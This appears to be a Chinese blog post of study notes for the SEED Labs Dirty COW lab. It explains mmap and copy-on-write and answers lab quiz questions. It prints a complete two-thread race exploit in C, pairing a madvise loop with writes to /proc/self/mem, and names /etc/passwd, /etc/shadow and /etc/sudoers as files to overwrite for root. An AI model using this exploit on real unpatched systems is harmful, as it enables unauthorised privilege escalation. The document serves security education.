seed-labs (脏牛竞态攻击)

概要

该漏洞存在于linux内核的写时复制代码中,攻击者可以通过该漏洞获取root权限

mmap() 函数进行内存映射

mmap():将文件或设备映射到内存的系统调用。默认的映射类型是文件备份映射,它将进程的虚拟内存区域映射到文件;从映射区域读取会导致文件被读取
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

第一个参数:映射内存的起始地址

第二个参数:映射内存的大小

第三个参数:如果内存可读写。应与第行的访问类型匹配①

第4个参数:映射到同一区域的其他进程是否可以看到映射的更新,以及是否将更新传递到基础文件

第5个参数:需要映射的文件

第6个参数:偏移量,指示从文件内部的何处开始映射。

MAP_SHARED MAP_PRIVATE 写时拷贝

MAP_SHARED: 映射的内存在两个进程之间的行为类似于共享内存
MAP_PRIVATE: 文件被映射到调用进程的专用内存。
写时拷贝:允许不同进程中的虚拟内存映射到相同物理内存页(如果它们具有相同的内容)的技术。

映射只读文件

通常,我们不能写入只读存储器。

但是,如果文件是使用MAP\u PRIVATE映射的,OS会产生一个异常并允许我们写入映射的内存,但是我们必须使用不同的路由,而不是直接使用内存操作,例如memcpy()。
write()系统调用就是这样一种路由。

脏牛漏洞

write()系统调用可以被用来修改映射内存,主要有三个步骤
1 制作映射内存的副本

2 更新页表,使虚拟内存指向新创建的物理内存

3 写入内存。

上述步骤本质上不是原子性的:它们可能会被其他线程中断,从而造成潜在的竞争条件,从而导致肮脏的Cow漏洞
Memory Mapping Thread

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;

  // Open the target file in the read-only mode.
  int f=open("/zzz", O_RDONLY);

  // Map the file to COW memory using MAP_PRIVATE.
  //将已经打开的文件描述符f的文件状态复制到&st指针指向的数据结构中
  fstat(f, &st);
  file_size = st.st_size;
  //mmap()将一个文件或对象映射进内存,成功返回被映射区的指针,失败时返回-1
  //参数1:映射区的开始地址,设置为0表示由系统决定
  //参数2:映射区的长度,单位是字节
  //参数3:期望的内存保护标志,不能与文件打开模式冲突
  //参数4:指定映射对象的类型,映射选项和映射页是否可以共享,MAP_PRIVATE不会影响原文件
  //参数5:有效的文件描述符
  //参数6:被映射对象的起点
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // Find the position of the target area
  char *position = strstr(map, "222");                        

  // We have to do the attack using two threads.
  //pthread_create()创建线程,在线程创建后就开始运行相关的线程函数,成功返回0,失败返回-1
  //参数1:指向线程标识符的指针
  //参数2:设置线程属性
  //参数3:线程运行函数的起始地址
  //参数4:运行函数的参数
  pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
  pthread_create(&pth2, NULL, writeThread, position);             

  // Wait for the threads to finish.
  //pthread_join()等待线程结束,成功返回0,失败返回错误号
  //参数1:线程标识符,就是线程ID
  //参数2:用户定义的指针,用来存储被等待线程的返回值
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}

Set Up the write Thread

void *writeThread(void *arg)
{
  char *content= "***";
  off_t offset = (off_t) arg;

  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    //lseek()控制文件的读写位置
    //参数1:已经打开的文件描述符
    //参数2:偏移量
    //参数3:SEEK_SET将读写位置指向文件头后再增加offset个偏移
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}

The madvise Thread

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
      //madvise()建议内核如何处理一段地址范围的页面输入输出,成功返回0,失败返回-1
      //参数1:起始地址
      //参数2:地址长度
      //参数3:建议,MADV_DONTNEDD此范围内的页面在后续访问将会成功,但将导致从存储重新加载底层映射文件
      madvise(map, file_size, MADV_DONTNEED);
  }
}

脏牛攻击是利用Linux内核中的竞态条件漏洞,,这个漏洞存在于与内存映射有关的写时拷贝

problems

A file's content is a string "Hello World". When this file is mapped to memory (the entire file) using mmap(), and the memory address is stored in a variable map. Please describe what the following printf() statement prints out.

char addr = (char )map;
printf("%s\n", addr + 6);

print   world

The fork() system call creates a new process from a parent process. The new process, i.e., the child process, will have a copy of the parent process's memory. Typically, the memory copy is not performed when the child process is created. Instead, it is delayed. Please explain when the memory copy will occur.
当子进程首次写入内存时,将发生内存复制。因为父级和子级有独立的内存空间,所以拷贝发生在写入时,或者我们现在所知道的COW。

The permission of the file /home/seed/zzz is readable and writable to the user seed. Does the following code (executed by seed) modify the content of /home/seed/zzz?

int f=open("/home/seed/zzz", O_RDWR);
fstat(f, &st);
map=mmap(NULL, st.st_size, PROT_READ|PROT_WRITE,
MAP_PRIVATE, f, 0);
memcpy(map, "new content", strlen("new content"));

The permission of the file /home/seed/zzz is readable and writable to the user seed. Does the following code (executed by seed) modify the content of /home/seed/zzz?

int f=open("/home/seed/zzz", O_RDWR);
fstat(f, &st);
map=mmap(NULL, st.st_size, PROT_READ|PROT_WRITE,
MAP_PRIVATE, f, 0);
memcpy(map, "new content", strlen("new content"));

不会。因为文件是在私有模式下映射到内存的,所以在memcpy上,会生成内存映射的新副本。

In the Dirty COW attack, can we run two processes, instead of two threads?
不,当两个进程将同一个文件映射到内存时,它们将拥有各自的副本。在其中一个上运行madvise,在另一个上写入时不会触发副本,因此它必须是调用write()和madvise()的同一进程。

In this chapter, we show that by exploiting the Dirty COW race condition, we can modify the /etc/passwd file and gain the root privilege. Please name two other files that can be attacked to gain the root privilege.

/etc/shadow
/etc/sudoers
此文件定义可以运行sudo命令的用户列表。一旦用户被添加到sudoers列表中,用户就可以运行
sudo su 

If we use the MAP_PRIVATE to map a read-only file to the memory, and then use memcpy() to write to it. Will this cause copy-on-write?
No. MAP_PRIVATE causes the read-only file to be mapped into a read-only memory block. We can't use memcpy() to write to it, it'll throw an error. We should instead use the write() function.
否。MAP_PRIVATE导致只读文件映射到只读内存块。我们不能使用memcpy()对它进行写入,它会抛出一个错误。我们应该改用write()函数。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值